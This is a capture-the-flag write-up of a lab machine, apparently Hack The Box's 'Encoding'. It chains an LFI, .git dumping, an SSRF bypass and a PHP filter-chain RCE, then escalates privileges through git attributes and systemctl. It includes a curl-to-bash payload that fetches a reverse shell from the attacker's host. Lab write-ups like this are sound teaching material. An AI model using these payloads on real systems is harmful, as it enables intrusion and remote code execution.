$ nmap -p- --min-rate 3000 10.129.143.79
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-30 08:33 EST
Warning: 10.129.143.79 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.129.143.79
Host is up (0.16s latency).
Not shown: 64958 closed tcp ports (conn-refused), 575 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
HaxTables - Port 80
Here's the web page:
There's some API documentations available for us to read.
Interesting, and there's definitely some exploit available with this. However, just to be sure, I did a gobuster scan of the website with the php extension. Didn't manage to find much on the main website, but on the API domain I found something interesting.
There was a utils.php file, which could be something. Also there were lots of different versions for stuff. Interesting.
On the main page, there were the type of conversions available, which were string, integer and images. The image one was the most suspicious.
This was the only page that didn't have any API endpoint to use. When checking out /v2 and /v1, it just tells me the page is under construction due to security issues.
I decided to enumerate for subhosts with wfuzz because I had to find something to do with images for this machine. I managed to find another subdomain at image.haxtables.htb.
This was the only request that led to a 403, which means it exists on the machine. I proceeded to attempt to scan for files on that domain using feroxbuster. Nothing found though.
API LFI
When looking at the API a bit more, I found that it allows for LFI through their file_url parameter:
Interesting. So, I started to look around for files that I could use and gobusted the website a bit more to find more stuff. I found a handler.php file on the main page.
This file was taking JSON input from the user and doing...something. The most notable thing was the usage of php://input, where it is possible to inject code into this via a POST parameter.
We can read the /var/www/api/utils.php file to get a clearer picture of what's going on.
This functio was taking the JSON data and checking for SSRF (poorly). It only checks for 127.0.0.1 and not hte actual domain name. This is definitely vulnerable, but I could not make this work.
Getting Stuck - Finding .git
I was stuck here for a while, as I was unable to enumerate any subdomain without getting rejected and I didn't know what other files existed on the server. I began testing random directories using the LFI I had found and just tried /.git/HEAD to see if it existed, and it did!
So, now I know that there was a Git repository on this website, but the question was how to get it out. We could use gitdumper.py, but it would have to get the files out rather uniquely through the LFI and decode it from hex. Using this one-liner in bash, we could do just that:
So this file uses the include() function, which is vulnerable to the php filter chain attack.
Now, I just need a way to pass this parameter into the page via SSRF (on handler.php). From the api/utils.php code, we can see that our uri_path parameter is passed here:
We can truncate this using the @ symbol. The @ symbol would make the website think that the first part of the URL are credentials, and since the website does not require credentials, it would ignore it completely.
Then we can use this to generate a shorthand line cf code to test our RCE ability. Shorthand PHP is used because the command for our shell is really long, so we need to make it as short as possible or the server might not process it due to size.
Afterwards, we just send this POST request and our RCE works!
POST /handler.php HTTP/1.1Host:haxtables.htbUser-Agent:Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language:en-US,en;q=0.5Accept-Encoding:gzip, deflateConnection:closeUpgrade-Insecure-Requests:1Content-Type:application/jsonContent-Length:6715{"action":"","data":"","uri_path":"test@image.haxtables.htb/actions/action_handler.php?page=[OUTPUT]
Now, we can use curl to get the machine to download and execute a bash script. I created a script named g with the nc mkfifo shell. Then, I used this line of code:
<?=`curl http://10.10.14.53/g|bash`;?>'
Afterwards, I sent the exploit and got a shell.
Privilege Escalation
Git Privileges
Checking sudo -l, I saw that I had some permissions as the svc user.
www-data@encoding:~/image$ sudo -l
sudo -l
Matching Defaults entries for www-data on encoding:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User www-data may run the following commands on encoding:
(svc) NOPASSWD: /var/www/image/scripts/git-commit.sh
Here is what the script is doing:
#!/bin/bashu=$(/usr/bin/git--git-dir=/var/www/image/.git--work-tree=/var/www/imagels-files-o--exclude-standard)if [[ $u ]]; then/usr/bin/git--git-dir=/var/www/image/.git--work-tree=/var/www/imageadd-Aelse /usr/bin/git --git-dir=/var/www/image/.git --work-tree=/var/www/image commit -m "Commited from API!" --author="james <james@haxtables.htb>" --no-verify
fi
In my testing, it seems I am able to write to this .git repository within the machine as www-data. In this case, there are no vulnerable commands being used at all, so the vulnerability lies in the attributes and configurations of git.
Here's a good read as to how git attributes can exploited:
In particular, we can use git config filter.indent.clean to execute whatever we want. Then, it would execute at every single git commit. So I wrote a quick reverse shell at /tmp/shell.sh. Afterwards, I executed these few commands to set up the malicious attribute in /var/www/image.
The creator left a private SSH key in the directory for this new user, which was really useful.
Systemctl Restart
This user had rather unique system privileges:
svc@encoding:~$ sudo -l
Matching Defaults entries for svc on encoding:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User svc may run the following commands on encoding:
(root) NOPASSWD: /usr/bin/systemctl restart *
This exploit required us to write a .conf file within the /etc/systemd file with malicious commands, then restart the service to escalate our privileges.
Conveniently, there was a writeable file in that directory.